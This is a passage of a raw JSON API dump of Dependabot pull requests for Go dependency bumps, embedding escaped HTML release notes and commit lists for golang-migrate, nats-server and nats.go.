href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and \u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e","html_url":"https://github.com/foomo/goflux/pull/2","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/foomo%2Fgoflux/issues/2","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2/packages"},{"uuid":"4272189428","node_id":"PR_kwDOR_aeRM7SzUlz","number":131,"state":"closed","title":"chore(deps): bump the go-deps group with 4 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":"2026-04-15T22:58:21.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-15T22:55:36.000Z","updated_at":"2026-04-15T22:58:23.000Z","time_to_close":165,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"go-deps","update_count":4,"packages":[{"name":"github.com/golang-migrate/migrate/v4","old_version":"4.19.0","new_version":"4.19.1","repository_url":"https://github.com/golang-migrate/migrate"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/nats-io/nats.go","old_version":"1.50.0","new_version":"1.51.0","repository_url":"https://github.com/nats-io/nats.go"},{"name":"go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp","old_version":"0.61.0","new_version":"0.68.0","repository_url":"https://github.com/open-telemetry/opentelemetry-go-contrib"}],"path":null,"ecosystem":"go"},"body":"Bumps the go-deps group with 4 updates: [github.com/golang-migrate/migrate/v4](https://github.com/golang-migrate/migrate), [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server), [github.com/nats-io/nats.go](https://github.com/nats-io/nats.go) and [go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp](https://github.com/open-telemetry/opentelemetry-go-contrib).\n\nUpdates `github.com/golang-migrate/migrate/v4` from 4.19.0 to 4.19.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/golang-migrate/migrate/releases\"\u003egithub.com/golang-migrate/migrate/v4's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.19.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBump github.com/dvsekhvalnov/jose2go from 1.6.0 to 1.7.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1334\"\u003egolang-migrate/migrate#1334\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate docker image to use go 1.25, addressing vulnerabilities  by \u003ca href=\"https://github.com/matsoob\"\u003e\u003ccode\u003e@​matsoob\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1333\"\u003egolang-migrate/migrate#1333\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump golang.org/x/crypto from 0.36.0 to 0.45.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1335\"\u003egolang-migrate/migrate#1335\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix linter issues by \u003ca href=\"https://github.com/HaraldNordgren\"\u003e\u003ccode\u003e@​HaraldNordgren\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1325\"\u003egolang-migrate/migrate#1325\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRename databaseName to databaseDriverName by \u003ca href=\"https://github.com/iamonah\"\u003e\u003ccode\u003e@​iamonah\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1304\"\u003egolang-migrate/migrate#1304\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Update cloud.google.com/go/spanner version by \u003ca href=\"https://github.com/jferrl\"\u003e\u003ccode\u003e@​jferrl\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1330\"\u003egolang-migrate/migrate#1330\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump golang.org/x/crypto from 0.43.0 to 0.45.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1336\"\u003egolang-migrate/migrate#1336\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: remove dependency on \u0026quot;hashicorp/go-multierror\u0026quot; by \u003ca href=\"https://github.com/leonklingele\"\u003e\u003ccode\u003e@​leonklingele\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1322\"\u003egolang-migrate/migrate#1322\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matsoob\"\u003e\u003ccode\u003e@​matsoob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1333\"\u003egolang-migrate/migrate#1333\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/iamonah\"\u003e\u003ccode\u003e@​iamonah\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1304\"\u003egolang-migrate/migrate#1304\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jferrl\"\u003e\u003ccode\u003e@​jferrl\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1330\"\u003egolang-migrate/migrate#1330\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/leonklingele\"\u003e\u003ccode\u003e@​leonklingele\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1322\"\u003egolang-migrate/migrate#1322\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/golang-migrate/migrate/compare/v4.19.0...v4.19.1\"\u003ehttps://github.com/golang-migrate/migrate/compare/v4.19.0...v4.19.1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/89e308c340a2c069c3260f268307d38a7db88227\"\u003e\u003ccode\u003e89e308c\u003c/code\u003e\u003c/a\u003e chore: remove dependency on \u0026quot;hashicorp/go-multierror\u0026quot; (\u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1322\"\u003e#1322\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/472ef2e75cf6acfb1d5c4092c9e8e05715631f24\"\u003e\u003ccode\u003e472ef2e\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1336\"\u003e#1336\u003c/a\u003e from golang-migrate/dependabot/go_modules/golang.org...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/8d7625987a5bcc4f74000a4357c4535b60de2ef6\"\u003e\u003ccode\u003e8d76259\u003c/code\u003e\u003c/a\u003e Bump golang.org/x/crypto from 0.43.0 to 0.45.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/9f9df7c897f5fcc4432d36e2c9049339d4010626\"\u003e\u003ccode\u003e9f9df7c\u003c/code\u003e\u003c/a\u003e chore: Update cloud.google.com/go/spanner version (\u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1330\"\u003e#1330\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/a371c8ea2b677e6b5fb0bb88a2f0a501748132a3\"\u003e\u003ccode\u003ea371c8e\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1304\"\u003e#1304\u003c/a\u003e from iamonah/fix/clarify-databaseName-meaning\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/43cc3b3ea50ac4385eab5f6a95b85034d9dbf7a9\"\u003e\u003ccode\u003e43cc3b3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1325\"\u003e#1325\u003c/a\u003e from HaraldNordgren/linter_issues\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/f939a8992502b33eeb4d7cb1e37972e916ec3bf7\"\u003e\u003ccode\u003ef939a89\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1335\"\u003e#1335\u003c/a\u003e from golang-migrate/dependabot/go_modules/golang.org...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/6dd86e0ded6f854fb88a54907030077288fda5af\"\u003e\u003ccode\u003e6dd86e0\u003c/code\u003e\u003c/a\u003e Bump golang.org/x/crypto from 0.36.0 to 0.45.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/70e6d6d57408f73e126285a976eaa9b70834f5c2\"\u003e\u003ccode\u003e70e6d6d\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1333\"\u003e#1333\u003c/a\u003e from matsoob/updateGoInBaseImage\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/a51d0da644e28288679c31aadf7ec00e90c9483f\"\u003e\u003ccode\u003ea51d0da\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1334\"\u003e#1334\u003c/a\u003e from golang-migrate/dependabot/go_modules/github.com...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/golang-migrate/migrate/compare/v4.19.0...v4.19.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.6 to 2.12.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and \u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats.go` from 1.50.0 to 1.51.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats.go/releases\"\u003egithub.com/nats-io/nats.go's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.51.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eADDED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eOption to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to automatically reconnect on write error (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAccessors for JetStream API level and \u003ccode\u003eIsSysAccount\u003c/code\u003e from \u003ccode\u003eServerInfo\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eMake websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eFix deadlock in \u003ccode\u003eConsume()\u003c/code\u003e when calling \u003ccode\u003eStop\u003c/code\u003e/\u003ccode\u003eDrain\u003c/code\u003e from \u003ccode\u003eConsumeErrHandler\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2059\"\u003e#2059\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix typos in tests. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecation warnings by bumping GH actions to their latest versions. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contibution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2048\"\u003e#2048\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCode linting: remove functions min and max. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca 